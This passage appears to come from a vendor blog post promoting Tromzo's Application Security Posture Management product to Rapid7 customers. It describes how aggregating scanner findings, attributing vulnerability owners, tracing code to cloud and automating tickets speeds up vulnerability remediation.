Identifying the most significant vulnerabilities is only the first step, however. The second step is automating the remediation workflow for those vulnerabilities. ASPM enables the scalable dissemination of security vulnerabilities to their respective owners via integration with the ticketing and work management systems already in use by your developers today. Better yet, Application Security teams can monitor the remediation workflow of vulnerabilities to resolution all from within the ASPM. From a collaboration perspective, this is a massive win-win: development teams and appsec teams are able to collaborate on vulnerability remediation using their own respective technologies.

When you put all of this together, you’ll come to understand the greatest value-add provided by ASPM and realized by our customers at Tromzo:

ASPM solutions accelerate the triage and remediation of vulnerabilities representing the greatest risk to the organization at scale.

ASPM Core Capabilities

Effectively delivering on an integrated experience that accelerates the triage and remediation of vulnerabilities representing the greatest risk requires several core capabilities:

  1. The ability to aggregate security vulnerabilities across all scanning tools without impeding your ability to use the best-in-class security testing solutions.
  2. The ability to integrate with and build context from development tools across the CI/CD pipeline.
  3. The ability to derive relationships between the various software assets and security findings from code to cloud.
  4. The ability to express and overlay organizational- as well as team-specific security policies on top of security vulnerabilities.
  5. The ability to derive actions and insights from this metadata that help prioritize and drive to remediation the most significant vulnerabilities.

Doing this effectively requires a tremendous amount of data, connectivity, analysis, and insight. With integrations across 70+ tools, Tromzo is delivering a best-in-class remediation ASPM solution.

How Rapid7 Customers Benefit from an ASPM Solution

By its very nature, ASPM fulfills the need for automation and efficiency of vulnerability remediation via integration across various security testing solutions and development technologies. With efficiency comes real cost savings. Let’s take a look at how Rapid7 customers can realize operational efficiencies using Tromzo.

Breaking Down Security Solution Silos

Rapid7 customers are already amassing best-in-class security testing solutions, such as InsightAppSec and InsightCloudSec. ASPM enables the integration of not only Rapid7 products but all your other security testing products into a single holistic view, whether it be Software Composition Analysis (SCA), Static Application Security Testing (SAST), Secrets Scanning, etc. This effectively breaks down the silos and operational overhead with individually managing these stand-alone tools. You’re freeing yourself from the need to analyze, triage, and prioritize data from dozens of different security products with different severity taxonomies and different vulnerability models. Instead, it’s: one location, one severity taxonomy, and one data model. This is a clear win for operational efficiency.

Accelerating Vulnerability Remediation Through Deep Environmental and Organizational Context

Typical security teams are dealing with hundreds of thousands of security findings and this takes us back to our question of “Is this critical more important than that critical?”. Rapid7 customers can leverage Application Security Posture Management solutions to derive additional context in a way that allows them to more efficiently triage and remediate vulnerabilities produced by best-of-breed technologies such as InsightAppSec and InsightCloudSec. By way of example, let’s explore how ASPM can be used to answer some common questions raised by appsec teams:

1. Who is the “owner” of this vulnerability?

Security teams spend countless hours trying to identify who introduced a vulnerability so they can identify who needs to fix it. ASPM solutions are able to help identify vulnerability owners via the integration with third party systems such as Source Code Management repositories. This automated attribution serves as a foundation to drive remediation by teams and individuals that own the risk.

No more wasted hours!

2. Which vulnerabilities are actually deployed to our production environment?

One of the most common questions that arises when triaging a vulnerability is whether it is deployed to production. This often leads to additional questions such as whether it is internet-facing, how frequently the asset is being consumed, whether the vulnerability has a known exploit, etc. Obtaining answers to these questions is tedious to say the least.

The “code to cloud” visibility offered by ASPM solutions allows appsecteams to quickly answer these questions. By way of example, consider a CVE vulnerability found within a container hosted in a private registry. The code-to-cloud story would look something like this:

  • A developer wrote a “Dockerfile” or “Containerfile” and stored it in GitHub
  • GitHub Actions built a Container from this file and deployed it to AWS ECR
  • AWS ECS pulled this Container from ECR and deployed it to Production

With an integration into GitHub, AWS ECR, and AWS ECS, we can confidently conclude whether or not the Container hosted in AWS ECR is actually deployed to production via AWS ECS. We can even take this further: By integrating within GitHub, we can even map the container back to the corresponding Dockerfile/Containerfile and the team of developers that maintain it.

No more laborious meetings!

3. Does this application process PII or credit card numbers?

Appsecteams have the responsibility of helping their organization achieve compliance with various regulations and industry standards, including GDPR, CCPA, HIPAA, and PCI DSS. These standards place emphasis on the types of data being processed by applications, and hence appsec teams can understand what applications process what types of sensitive data. Unfortunately, obtaining this visibility requires security teams to create, distribute, collect, and maintain questionnaires that recipients often fail to complete.

ASPM solutions have the ability to derive context around the consumption of sensitive data and use this information to enrich applicable security vulnerabilities. A vulnerability deployed to production that stands to disclose credit card numbers, for example, will likely be treated with the highest of priority as a means of avoiding possible fines and other consequences associated with PCI DSS.

No more tedious questionnaires!

4. How do I automate ticket creation for vulnerabilities?

Once you know what needs to be fixed and who needs to fix it, the task of remediating the issue needs to be handed off to the individual or team that can implement a fix. This could involve taking hundreds or thousands of vulnerabilities, de-duplicating them, and grouping them into actionable tasks while automating creation of tickets in a format that is consumable by the receiving team. This is a complex workflow that not only involves automating correctly formatted tickets with the right level of remediation information, but also tracking the entire lifecycle of that ticket until remediation, followed by reporting of KPIs. ASPM solutions like Tromzo are perfectly suited to automate these ticketing and governance workflows, since ASPMs already centralize all vulnerabilities and have the appropriate contextual and ownership metadata.

Leverage ASPM to Accelerate Vulnerability Remediation

ASPM solutions enable Rapid7 customers to accelerate the remediation of vulnerabilities found by their preferred security testing technologies. With today’s complex hybrid work environments, the increased innovation and sophistication of attackers, and the underlying volatile market, automated code to cloud visibility and governance is an absolute must for maximizing operational efficiency and Tromzo is here to help. Check out for more information.